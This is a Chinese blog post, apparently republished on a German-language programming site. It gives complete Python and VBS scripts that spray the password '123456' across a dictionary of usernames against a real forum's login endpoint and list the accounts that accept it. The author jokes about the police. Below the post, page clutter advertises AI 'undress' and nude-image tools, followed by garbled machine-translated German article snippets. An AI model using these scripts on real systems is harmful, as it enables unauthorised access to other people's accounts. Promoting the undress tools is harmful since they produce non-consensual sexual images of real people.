Python牛刀小试密码爆破
难道真的要我破解一个么?算了,正好试试我的Python水平。
python版
代码如下:
#coding: gbk
import httplib, urllib
def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密码不正确") != -1:
return False
elif res.find("不存在这个用户") != -1:
return False
else:
return True
for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i
顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
代码如下:
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With
Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密码不正确") Then
Check = False
ElseIf InStr(response,"不存在这个用户") Then
Check = False
Else
Check = True
End If
End Function
Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function
事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen

In diesem Artikel wird erklärt, wie man schöne Suppe, eine Python -Bibliothek, verwendet, um HTML zu analysieren. Es beschreibt gemeinsame Methoden wie find (), find_all (), select () und get_text () für die Datenextraktion, die Behandlung verschiedener HTML -Strukturen und -Anternativen (SEL)

Das Statistikmodul von Python bietet leistungsstarke Datenstatistikanalysefunktionen, mit denen wir die allgemeinen Merkmale von Daten wie Biostatistik und Geschäftsanalyse schnell verstehen können. Anstatt Datenpunkte nacheinander zu betrachten, schauen Sie sich nur Statistiken wie Mittelwert oder Varianz an, um Trends und Merkmale in den ursprünglichen Daten zu ermitteln, die möglicherweise ignoriert werden, und vergleichen Sie große Datensätze einfacher und effektiv. In diesem Tutorial wird erläutert, wie der Mittelwert berechnet und den Grad der Dispersion des Datensatzes gemessen wird. Sofern nicht anders angegeben, unterstützen alle Funktionen in diesem Modul die Berechnung der Mittelwert () -Funktion, anstatt einfach den Durchschnitt zu summieren. Es können auch schwimmende Punktzahlen verwendet werden. zufällig importieren Statistiken importieren Aus Fracti

Serialisierung und Deserialisierung von Python-Objekten sind Schlüsselaspekte eines nicht trivialen Programms. Wenn Sie etwas in einer Python -Datei speichern, führen Sie eine Objektserialisierung und Deserialisierung durch, wenn Sie die Konfigurationsdatei lesen oder auf eine HTTP -Anforderung antworten. In gewisser Weise sind Serialisierung und Deserialisierung die langweiligsten Dinge der Welt. Wen kümmert sich um all diese Formate und Protokolle? Sie möchten einige Python -Objekte bestehen oder streamen und sie zu einem späteren Zeitpunkt vollständig abrufen. Dies ist eine großartige Möglichkeit, die Welt auf konzeptioneller Ebene zu sehen. Auf praktischer Ebene können das von Ihnen ausgewählte Serialisierungsschema, Format oder Protokoll jedoch die Geschwindigkeit, Sicherheit, den Status der Wartungsfreiheit und andere Aspekte des Programms bestimmen

Dieser Artikel vergleicht TensorFlow und Pytorch für Deep Learning. Es beschreibt die beteiligten Schritte: Datenvorbereitung, Modellbildung, Schulung, Bewertung und Bereitstellung. Wichtige Unterschiede zwischen den Frameworks, insbesondere bezüglich des rechnerischen Graps

In dem Artikel werden beliebte Python-Bibliotheken wie Numpy, Pandas, Matplotlib, Scikit-Learn, TensorFlow, Django, Flask und Anfragen erörtert, die ihre Verwendung in wissenschaftlichen Computing, Datenanalyse, Visualisierung, maschinellem Lernen, Webentwicklung und h beschreiben

Dieses Tutorial baut auf der vorherigen Einführung in die schöne Suppe auf und konzentriert sich auf DOM -Manipulation über die einfache Baumnavigation hinaus. Wir werden effiziente Suchmethoden und -techniken zur Änderung der HTML -Struktur untersuchen. Eine gemeinsame DOM -Suchmethode ist Ex

Dieser Artikel führt die Python-Entwickler in den Bauen von CLIS-Zeilen-Schnittstellen (CLIS). Es werden mit Bibliotheken wie Typer, Click und ArgParse beschrieben, die Eingabe-/Ausgabemedelung betonen und benutzerfreundliche Designmuster für eine verbesserte CLI-Usabilität fördern.

Lösung für Erlaubnisprobleme beim Betrachten der Python -Version in Linux Terminal Wenn Sie versuchen, die Python -Version in Linux Terminal anzuzeigen, geben Sie Python ein ...
